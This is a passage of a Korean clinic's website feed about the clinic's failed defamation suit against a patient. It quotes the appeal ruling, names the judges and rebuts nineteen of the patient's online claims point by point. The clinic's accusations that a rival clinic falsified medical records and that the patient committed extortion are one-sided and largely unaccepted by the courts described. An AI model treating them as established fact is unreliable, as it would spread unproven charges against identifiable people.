src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/d3c3d7ac9b214e1ffa90c9d452dac2db.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;피고가 원고 비너스의원에서 작성한 설문지&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot; id=&quot;debak11&quot;&gt;11. 사실관계에 대한 정확한 증거조사가 없는 판결은 공정하지 못합니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp; 판사는 의학적인 지식이 부족한 일반인입니다. 그러므로 의학적인 판단이 필요할 때에는 적극적으로 의사의 의학적인 견해를 듣고 합리적인 근거에 의해 판결을 해야 할 것입니다. &lt;u&gt;원고는 2심에서&amp;nbsp; T의원 진료기록에 대해 사실조회 및 의료기록 감정의 필요성에 대해 설명을 하고 2심 재판부에 감정서를 작성하여 요청 했습니다만 2심은 이를 기각하고 1심과 동일하게 T의원의 진료기록만을 신뢰하여 판결&lt;/u&gt;에 이르렀습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 1심에서 T의원에 사실조회 신청을 하여 T의원에서 피고의 진료기록을 확인할 수 있었으며 피고가 작성한 게시글이 허위사실임을 명확하게 입증할 수 있게 되었을 뿐만아니라, T의원도 피고의 행위데 대해서 일정부분 책임이 있음을 확인했습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;bs-callout bs-callout-info&quot;&gt; &lt;ol&gt; &lt;li&gt;담당의사 CL은 피고의 옆구리의 피하지방층 초음파 두께를 잘못 측정했습니다(의학 논문 통계치와 비교하면 28mm는 절대로 나올 수 없는&amp;nbsp; 수치임).&lt;/li&gt; &lt;li&gt;CC는 러브핸들은 옆구리에 있음에도 뒷등 부위로 잘못 알고 있으며, 피고의 진찰과 수술을 담당한 의사가 아니므로 의료법상 진단서를 발급할 수 없음에도 피고에게 허위 진단서를 발급했습니다.&lt;/li&gt; &lt;li&gt;T의원은 진료기록부와 수술기록지를 조작하여 러브핸들 수술을 과장 했습니다(원고의 경험상 의학적으로 타당하지 않는 지방량등등).&lt;/li&gt; &lt;li&gt;수술전후사진을 조작하여 수술결과를 과장했습니다(수술조작이 T의원에서 이루어 졌으며 피고는 조작된 사진을 게제한 것으로 판단됩니다).&lt;/li&gt; &lt;li&gt;민사소송중 CC와 CL은 출석요구를 거부하고 &amp;quot;귀원에서 부르는 러브핸들의 구체적인 부위를 설명하라, 피고와 같은 체형에서 귀원의 러브핸들 평균 두께는 얼마나 되는가?&amp;quot; 등등 사실조회 신청에 대해서도 답변하지 않았습니다. 즉, T의원이 발급한 진단서와 T의원이 측정한 피고의 옆구리 피하지방층 두께에 대해 책임지지 않았습니다.&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고는 원고와 더라인 의원을 비교하기 위하여 T의원의 수술전후사진, 절개구, 초음파 기계, 수술비용, 지방제거량 등등 여러 가지 내용으로 원고의 명예를 훼손하고 결국 원고의 수익감소로 이어지게 하였습니다. 원고와 T의원은 지방흡입을 전문으로 하는 경쟁관계에 있는 병원이지만 피고는 자신의 주장의 근거 대부분을 T의원의 수술 및 사전, 사후 검사와 진료 결과, 사진으로 들고 있습니다.&amp;nbsp;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 T의원의 진료기록과 검사기록 전반을 신뢰할 수 없으므로(그 내용은 1심에서 상세히 진술), 2심에서는 지방흡입 전문가들의 의견을 제시하면서 대한의사협회 감정단에게 사실조회 및 진료기록의 진위 여부를 확인하는 감정을 요청한 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;2심 재판부에 밝혔듯이 진료기록 감정으로 밝혀질 수 있는 진실은 다음과 같습니다.&lt;/strong&gt;&lt;/p&gt; &lt;div class=&quot;bs-callout bs-callout-info&quot;&gt; &lt;p&gt;&amp;nbsp;(1) 피고는 T의원에서 꼬리뼈 절개구로 몸통의 후면(뒷등)을 수술 받았다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;(2) 유착은 과도한 지방흡입으로 나타나는 병적인 상태로서, 수술후 유착이 없다고 해서 재수술이 아니라고 할 수 없다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;(3) 체질량지수 21인 여성의 옆구리 초음파 두께는 평균 10mm가 넘지 않는다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;(4) 을제 6, 9호증, 을제 10-4호증 수술후 사진은 조작되었다&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;(5) &amp;lsquo;허리&amp;rsquo; 는 갈비뼈 하방과 골반뼈 사이로 몸통에서 가장 가는 부위이다.&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;부천 오정경찰서에서 원고와 피고가 대질 심문을 받을 때 원고는 경사 심유섭과 피고에게 &amp;quot;원고 비너스의원에 같이 가서 옆구리 초음파 지방층 두께를 확인 시켜 주겠다 원고를 믿지 못하겠다면 제3의 병원에 가서 옆구리 초음파 두께를 객관적으로 측정해 보자&amp;quot;라고 제안을 했습니다. 피고는 &amp;quot;내가 왜 그렇게 해야 하느냐, 내가 왜 몸을 보여 주어야 하느냐&amp;quot;라고 하면서 이를 거부하고 피고는 옆구리 지방층 두께를 확인하려고 하지 않았습니다. 결국 검찰도 T의원의 진단서만 믿고 원고가 옆구리에 수술을 하지 않는 것으로 판단하였고, 피고의 게시글이 6개에 불과하고 정보공유의 목적으로 무혐의 처분을 하였습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;b&gt;검찰도 더러인의원의 진단서를 검증하지 않고, 즉 증거조사로 진실을 확인하지 않았으므로 공정한 처분이 아니었습니다.&amp;nbsp;&lt;/b&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot; id=&quot;debak12&quot;&gt;결 론&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;바둑에서 꽃놀이 패라는 것이 있습니다. 싸움을 걸어 이기면 승부를 뒤집을 수 있는 큰 이익을 갖고 올 수 있으며 설사 싸움에 지더라도 자신은 거의 피해를 보지 않는 싸움을 말합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;인터넷에 허위사실로 명예훼손을 하면서 영업방해를 하는 블랙컨슈머의 경우가 꽃놀이 패 싸움의 경우라고 생각됩니다. 요즘 같은 1인 미디어 시대에 사업자나 유명인은 도덕성에 타격을 받게 되면 방송에 공개된 것처럼&amp;nbsp; 피해를 받으므로 허위사실이라 하더라도 블랙컨슈머와 합의해야 하는 상황에 처해 있습니다. 그러나 개인사업자가 도저히 납득할 수 없는 사안이라 블랙컨슈머와 합의할 수 없어서 블랙컨슈머를 명예훼손으로 고소를 한다 하더라도 블랙컨슈머는 공익을 목적으로 정보공유 차원에서 잘 모르고 게시글을 작성했다고 말하면 면죄부를 받아 피해를 입지 않게 됩니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;꽃놀이 패는 한쪽만 일방적으로 손해를 보기 때문에 공정한 싸움이 아닙니다. 따라서 인터넷에 게제한 정보가 허위사실로 밝혀질 경우 블랙컨슈머는 사업자나 유명인이 받은 피해을 고려하여 피해보상 뿐만 아니라 허위사실에 대하여 공개사과를 하여 피해회복에 대한 책임도 져야 한다고 생각합니다.&amp;nbsp;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;highlight&quot;&gt; &lt;ul&gt; &lt;li&gt;원고는 수술후 10개월이 지난 환자가 갑자기 전화를 하여 항의하면서 &amp;lsquo;T의원에 갔더니 옆구리에 28mm 남았고 옆구리에 수술이 되지 않았다고 한다&amp;lsquo;라고 허위사실(나중에 사실조회 신청으로 T의원의 진료기록을 확인해 본 결과 12~14mm였음)을 말하면서 수술비 환불을 요구했습니다.&amp;nbsp;&lt;/li&gt; &lt;li&gt;이에 원고는 &amp;lsquo;그럴리가 없다 만일 사실이면 수술비전액을 환불해 주겠다&amp;rsquo;고 하여 진료예약을 무료로 해주겠다고 하였으나 피고는 초음파 검사를 받지 않았습니다. &lt;span style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;&lt;/li&gt; &lt;li&gt;그리고 피고는 T병원에서 꼬리뼈 절개구로 엎드린 자세에서 &amp;quot;뒷등&amp;quot; 부위를 수술 받았으면서 T의원에게 &amp;quot;러브핸들&amp;quot;에 수술했다는 진단서를 발급받아 다른 사람들에게 원고가 돈만 받고 &amp;quot;옆구리&amp;quot;에 수술을 하지 않았다는 내용으로 총125개의 글을 작성하여 원고를 망신주고 영업을 방해했습니다.&amp;nbsp;&lt;/li&gt; &lt;li&gt;원고는 네이버 측에 피고의 게시글이 명예훼손 글이라고 신고하여 게제 중지를 시켰지만 피고는 이의제기를 하여 1달 만에 다시 복구 시켰습니다. 원고는 피고는 명예훼손으로 형사고소를 하였는데 피고는 무혐의 처분을 받고 게시글을 계속 유지 했습니다.&amp;nbsp;&amp;nbsp;&lt;/li&gt; &lt;li&gt;결국 원고가 본 소송을 통해 피고에게 손해배상청구를 하여 피고는 2019.6월경에야 게시글의 대부분을 삭제했습니다.&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;민사소송 전까지 피고는 2017.1.20.부터 2019.6월경까지 2년 6개월 동안 게시글의 게제를 계속했고, &amp;#39;윤리의식없는의사퇴출&amp;quot;이라는 필명으로 네이버 안티성형카페에서 활동하며 쪽지나 메신저를 활용하여 원고의 영업을 방해했습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원심은 피고의 옆구리(러브핸들)에 남은 지방층에 대한 확인이 안된 상태로 의학논문의 통계를 부정하였으며, 지방흡입 전문의사들의 설문조사 결과를 묵살하고, T의원이 발급한 진단서에 대한 중립적인 기관의 검증요구도 기각하였으며, 결국 몸통의 135도와 225 부근을 &amp;quot;허리&amp;quot;라고 명명하고 원고가 &amp;lsquo;허리&amp;rsquo;에 수술을 제대로 하지 않았다는 황당한 이유로 원고 패소 결정을 하였습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 피고의 게시글로 인해 형사고소와 본 소송을 진행하면서 정신적, 물질적, 시간적으로 막대한 피해를 받았습니다만 피해보상을 커녕 2심의 주문은 아래와 같아서 결국 원고는 피고가 작성한 게시글의 삭제를 위해 2천만원을 소모한 셈이 되었습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 장기간에 걸친 피고의 게시물으로 인한 정신적 물질적 피해을 받아 그 손해를 회복하기 위해 본 소송에 이른 것이었습니다만 결과적으로 원고패소로 원고는 본 소송을 하지 않았어야 하는 것입니다. 앞으로 이러한 경우가 생긴다면 의사로서 원고가 할 수 있는 일은 의업을 그만 두거나, 환자를 경계하며 평생 피고 같은 환자를 만나지 않기를 바라는 것뿐입니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;자유에는 책임이 따르며 다른 사람의 자유와 권리를 침해 할 수 없습니다. 피고가 원고에 대한 명예훼손은 의학을 잘 몰랐다고 하더라도 원고의 피해는 피고의 책임입니다.&lt;/strong&gt; 원고는 피고에게 최선을 다해 설명했습니다. 아니 의료법은 잘못된 정보로 피해를 막기위해 공개된 장소에서 일반인의 의료경험담을 막고 있으니 피고의 게시글 행위는 엄연한 불법행위로 면책될 수 없습니다. 그러나 원심은 허위사실이라 하더라도 피고는 이를 진실로 믿었고, 피고의 게시글은 정보공개를 위한 목적으로 공공의 이익이 된다는 점을 들어 면책해주었습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 명확하지 않는 사실로 한 개인의 명예를 훼손하고 영업을 방해하는 행위가 어떻게 공공의 이익이 되는지 이해 할 수 없습니다. 피고가 생각하는 대로 윤리의식이 없는 원고는 퇴출되어야 하므로 원고는 병원운영을 중단하고 의업을 포기하는 것이 공공이 이득이란 말인가요?&amp;nbsp; 의사로서 25년동안 원고에게 치료나 수술을 받고 감사해 했던&amp;nbsp;환자들은 모두 거짓이었다는 말인가요?&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;만일 피고의 옆구리 지방층이 10mm가 넘으면 원고는 피고에게 수술비 전액을 환불하겠다고 하였음에도 피고는 원고에게 초음파 검사를 응하지 않았습니다. 피고는 더라인의원에서 꼬리뼈 절개구로 뒷등을 수술받았음으로 원고는 피고의 옆구리 지방층을 측정하여 10mm가 넘는다면 본 소송의 결과에 승복하겠습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원심에게 물어 봅니다. 원고의 영업을 방해하는 내용의 피고 게시글은 총 125개였으며 형사고소를 통해 피고 스스로 게시글을 삭제하거나 게제중지를 한 상태로 민사소송 전까지 총 52개가 게제되고 있었습니다. 피고는 이렇게 게시물을 2년 이상 유지했는데 그러한 상황에서 원고는 어떻게 해야 하는 것입니까? 수술을 안했다고 하고&amp;nbsp;진찰은 회피하는 환자에게 요구하는 대로 수술비용을 환불해 주어야 합니까?&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;국가는 국민의 재산과 안녕을 보호해야 할 책임이 있습니다. 원고가 옆구리에 수술을 하지 않아 사기를 당했다면 피고는 형사고소와 민사소송을 통에 손해를 회복해야 하는 합법적인 방법이 있었습니다. 그럼에도 피고는&amp;nbsp; 소위 &amp;quot;꽃놀이 패&amp;quot;를 이용하여 수많은 허위게시글을 작성하여 원고를 망신주고 영업방해를 하였으며 이러한 행위는 협박을 통해 금전을 갈취하려는 범죄였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원심은 진실을 확인하지 않고 인터넷 게시글을 통해 허위사실로 명예훼손을 했던 가해자를 도와서 공공의 이익이 된다는 궤변으로 개인의 희생을 강요하며 피해자의 인격권과 생존권을 짓밟았습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;주&amp;nbsp; 문&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;1. 제 1심판결 중 아래에서 지급을 명하는 금액에 해당하는 원고 패소 부분을 취소한다. 피고는 원고에게 1,000,000원을 지급하라&lt;/p&gt; &lt;p&gt;2. 원고의 나머지 항소를 기각한다&lt;/p&gt; &lt;p&gt;3. 소송비용 중 95%는 원고가, 나머지 5%는 피고가 각 부담한다&lt;/p&gt; &lt;p&gt;4. 제1항의 금전지급 부분은 가집행할 수 있다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;1심판사: 노태헌, 손윤경, 여태곤&lt;/p&gt; &lt;p&gt;2심판사: 전지원, 서여정, 임솔&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://drive.google.com/file/d/1NrzbTf8nRTx4ZfcnInt48O4cVSLTiShP/view?usp=sharing&quot; target=&quot;_blank&quot;&gt;2019나14194호 판결문 보기&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;- 이상 끝 -&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt;</content>			</entry><entry>
		<title>재판으로 밝혀진 사실과 debakbuja의 거짓말들</title>
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		<published>2020-12-09T08:29:41+09:00</published>
		<updated>2021-02-03T11:17:34+09:00</updated>
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		<summary type="text">※ 비너스의원은 &quot;debakbuja&quot;라는 네이버 아이디를 가진 환자분으로 부터 &#039;돈만 받고 옆구리에 수술을 하지 않았다&#039;라는 허위사실로 명예훼손을 당했으며 해명하지 않으면 허위사실이 진실이 될수 있으므로 다음과 같이 debakbuja가 네이버 블로그와 지식인, 네이버 안티성형카페 등등에 게제한 내용이 사실과 다름을 밝힙니다. 비너스의원은 재판을 통해 강남T의원에 사실조회 신청을 하여 진료기록을 확인하였으며 debakbuja가 강...</summary>
	<content type="html">&lt;p&gt;&lt;strong&gt;※ 비너스의원은 &amp;quot;debakbuja&amp;quot;라는 네이버 아이디를 가진 환자분으로 부터 &amp;#39;돈만 받고 옆구리에 수술을 하지 않았다&amp;#39;라는 허위사실로 명예훼손을 당했으며 해명하지 않으면 허위사실이 진실이 될수 있으므로 다음과 같이 debakbuja가 네이버 블로그와 지식인, 네이버 안티성형카페 등등에 게제한 내용이 사실과 다름을 밝힙니다.&amp;nbsp; 비너스의원은&amp;nbsp;재판을 통해 강남T의원에&amp;nbsp;사실조회 신청을 하여 진료기록을 확인하였으며&amp;nbsp;debakbuja가 강남T의원에서 &amp;#39;옆구리에만 재수술를 받았다&amp;#39;라고 한&amp;nbsp;것은&amp;nbsp;거짓말이었음을 알립니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h3 class=&quot;page-header mBottom60&quot;&gt; 1. 재판으로 밝혀진 debakbuja의 거짓말들&lt;/h3&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;① 옆구리는 돈 받아 쳐먹고 전혀 손도 안댓더라구요 그래서 강남에서 옆구리만 재수술을 받았다 [debakbuja의 수술 직후 사진을 보면 옆구리에 절개 부위가 보이고 옆구리에 수술이 되어 있으며 수술전후 사진을 비교해도 사이즈 감소가 되어있음. 비너스의원에서 옆구리에 있는 절개구로 누워서 복부+옆구리에 수술을 받았고 강남T의원의 진료기록부에 있는 디자인 그림에 의하면 강남T의원에서는 꼬리뼈 절개구로 엎드린 자세로 뒷등을 추가로 수술받은 것임]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;② 수술실이 추워서 혈관을 찾지 못해 20번도 넘게 혈관을 찔러 팔뚝이 부었다. [비너스의원은 지방흡입&amp;nbsp;중점병원으로 수술방에 온돌이 깔려 있음. 소독액도 따뜻하게 데워서 사용함. 혈관은 3-4번만에 찾음, 간호조무사가 우선 혈관에 삽관하여 최대 3번까지 실패하면 원장을 호출하는 시스템을 구축하여 비너스가 직접 삽관을 함]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;③ 발목에 주사하여 발목이 파래졌다. [복부지방흡입 수술은 팔에 혈관을 삽입하고 수술전후사진을 보면 발목에 멍이 없음]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;④ 수술후 나몰라라 하고 전화를 잘 받지 않는다. [수술 후 한 달여 치료를 하였고, 전화나 메시지도 성실히 응대하였고, debakbujark 오히려 한 밤중이나 제사 준비 중에 상담실장에게 전화와 메시지를 하는 무례를 범하였음. debakbuja는 진찰예약도 취소하였으며 원장이 직접 전화하여 토요일과 일요일 야간이라도 무료로 진찰을 해주겠다고 하였음에도 병원진찰을 받지 않았으면서 옆구리에 지방이 28mm 남았다고 항의함]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑤ 미친거 아냐? 어떤 사람이 지방흡입하는데 맨정신에 국소마취로 수술한답니까? [국소마취 단독으로도 많이 하고 더 안전함]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑥ 복부지방흡입 수술비만 500만원을 냈다. [복부, 옆구리 지방흡입 수술비로 259만원을 지불함]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑦ 지방량이 비너스의원은 복부와 러브핸들에서&amp;nbsp;530ml이고, 강남T의원은 러브핸들만 850ml이다. [비너스가 복부와 옆구리에서 530ml를 흡입하였는데, 강남T의원 수술기록지에서는 수술시간 1시간 10분 소요되었고 지방량은 450ml를 제거했다고 기록되어 있음. 그러나 사실 debakbuja의 비만도에서는 꼬리뼈 절개구로는 뒷등과 옆구리 일부만 수술이 가능하므로 지방량은 300ml정도 예상이 되고 수술시간도 30분이면 족함]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑧ 비너스의원에서 수술후 옆구리 지방 두께가 28mm 남아있다. [강남T성형외과 진료기록부에는 옆구리 지방층이 12-14mm라고 기록되어 있으며 러브핸들은&amp;nbsp;24~26mm로 기록되어 있음. 사실 의학논문에 의하면 debakbuja의 체형에서는 옆구리는 10mm가 넘지 않음]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;핀치테스트.png&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/924/518/a1ec10f8335946de8120c2e2549468f1.png&quot; /&gt;&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt;&amp;lt; 대표적인 허위사실 공표로 근육을 잡아 놓고서 지방층이 28mm이니 잡으면 5~6cm 된다고 하였음&amp;gt;&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑨ 1년이 넘어도 치골에 시커먼 흉터가 있다[흡입 구멍은 치골이 아니라 옆구리임, 수술후 1년이 지나 강남T의원에서 촬영한 사진에는 흉터가 보이지 않음]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑩ 비너스 초음파는 잘 안 보인다. 화질이 비너스꺼보다 선명해 확실하게 지방과 근육을 구별하여 설명해 주는데 알아보기 쉬웠습니다[메디슨 모델명 sonoace 9900으로서 삼차원 입체초음파도 가능한 고성능 초음파 검사장비임. 강남T의원의 초음파 결과에서 옆구리 지방층 두께가 28mm 나왔는데 이는&amp;nbsp;불가능하니 초음파로 지방과 근육이 구분이 더 잘되었다는 말도 거짓임]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑪ 수술 전 초음파검사 안 해 줍니다. 다른 데는 수술 전후 다합니다.[지방흡입 수술을 중점진료 하는 병원이라 하더라도 수술전후 초음파 검사하는 병원 얼마 안됨. 강남T성형외과 진료기록부에 의하면 수술전 초음파 검사는 하고 수술후 초음파 검사는 하지 않았음. 비너스의원은 debakbuja를 수술후에 초음파 검사를 했음]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; ⑫ 강남T의원에서 재수술을 받은 후 옆구리 돌출이 없어졌다[강남T의원에서 수술을 받은 것은 2017.1.23일이나 2017.1.20일부터 2017.1.23일까지 즉 강남T의원에서 수술 받기전부터 강남에서 재수술를 받아 비너스의원이 근육이라 우기던 옆구리 지방이 제거되었다고 6개의 글을 작성하였음. 그리고 강남T의원에서 뒷등을 수술 받은 이후 수술사진을 조작하여 옆구리 돌출이 없어진 것처럼 조작함. 옆구리의 늘어진 근육은 지방흡입으로도 없어지지 않음]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑬ 지방불균형 비대칭등 몸매교정하러 갔는데 한건지 만건지 1년동안 실갱이 하였다[저희 비너스의원에서 수술을 받은 것은 2016.3.7. 이고 항의를 시작한 것은 2017.1.19. 그리고 강남T성형외과에서 수술한 것은 2017.1.23.로서 총 5일동안 항의하였음.&amp;nbsp; 1년뒤 2017.5.22. 강남T성형외과에서 촬영한 사진을 보면 비너스의원이 수술한 부위인 전측복부와 옆구리는 자연스럽고 매끄러운 상태를 보이고 있음. debakbuja는안티성형카페에 수술에 합병증이 있었던 것은 아니고 돈만 받고 수술을 하지 않았다 사기당했다고 하였음]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑭ 강남T의원은 흉터가 없고 보이지 않는 곳에 잘해 주셨다[강남T성형외과 진료기록부에 의하면 꼬리뼈에 절개구를 두었고 염증이 생겨 다시 봉합하고 2주동안 치료를 받았음. 아무리 정교하게 지방흡입을 하여도 흡입구멍 흉터는 남고 비너스의원에서는 옆구리 절개구에 보호구를 사용하여 마찰로 인한 상처를&amp;nbsp;보호하고 있으며&amp;nbsp;기타&amp;nbsp;합병증도&amp;nbsp;발생하지 않았음]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑮ 비너스는 댓글 알바를 써서 홍보하는 악질병원이다[2012년 11~12월에 병원직원이 잘모르고 수술경험담처럼 몇개의 글을 작성하였을 뿐 댓글 알바를 사용한 적이 없음. 또한 네이버 지식인은 홍보성 글에 대하여 아이디 사용이 중지되므로 홍보활동을 할 수 없음]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑯ 방송통신위원회에서 게시글 정지처분 받았다. 반박글이 법원에서 허위사실로 밝혀져서 병원측이 오히려 피해자 코스프레한다[debakbuja와 관련해서 정지처분을 받은 적이 없고, 법원에서 닥터칼럼 해명글이 허위사실로 판정된 적이 없음]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; ⑰ 병원측에서 네이버에 게시정지되어 삭제되는 바람에 몇 글 안 남았다[비너스의원이 네이버에 게재중지 요청을 하여 debakbuja의 글이 게재 중지가 된 것은 2017년 4월경이었으나 debakbuja가 네이버에 재게재 요청을 하여 debakbuja의 글은 2017년 5월경 재개시되었음. debakbuja가 &amp;ldquo;병원측에서 네이버에 게시정지 신청하여 글이 삭제되는 바람에 몇 글 안 남았다&amp;rdquo;라고 게시글을 작성한 것은 약 1년 뒤인 2018년 7월경으로서 즉, 경찰 수사를 받으면서 스스로 비공개처리를 해놓고서 비너스의원으로 인해 삭제되었다고 거짓말을 함]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑱ 비너스는 지방을 두껍게 남긴다 [과도한 지방흡입은 합병증을 유발할 가능성이 높아 적정량을 결정하는 것은 의사의 역량이자 재량이고 지방흡입의 목적은 아름다운 체형을 만드는 것이지 과도한 지방흡입으로 울퉁불퉁 근육 우먼을 만들려는 것이 아님]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑲ 비너스의원은 강남T의원에 전화를 걸어 지인행세를 하며 재수술을 방해했다[비너스의원 상담실장은 강남T의원에 전화를하여 담당 원장과 전화통화를 요구하였는데 데스크에서 전화받는 직원이 환자 본인이냐 지인이야고 물어보았고 지인이라고 대답했는데 원장과의 통화를 시켜주지 않았음. 비너스의원 원장은 2017.1.21. 강남T의원 C원장과 통화하였고 debakbuja가 주장했던 피하지방층 두께가 사실인지를 물어 보았으며,&amp;nbsp; C원장은 옆구리에 지방층이 12~14mm 남아 있었고, 수술이 안되어 있다는 말은 한적이 없다고 답변하였음. 그리하여 비너스의원은 debakbuja가 거짓말을 하고 있다는 사실을 알게되었음]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h3 class=&quot;page-header mBottom60&quot;&gt;2. 기타, debakbuja가 비너스를 비방한 글을 대표적으로 보면 다음과 같습니다.&lt;/h3&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;① 비너스 원장은 양아치다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;② 강남에서 수술해보니 비너스가 얼마나 허술한 병원임을 알겠습니다. 돈지랄 하려면 비너스 가세요&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;③ 한사람의 인생과 신체를 망가트리는 돈벌이에 급급한 의사&lt;/p&gt; 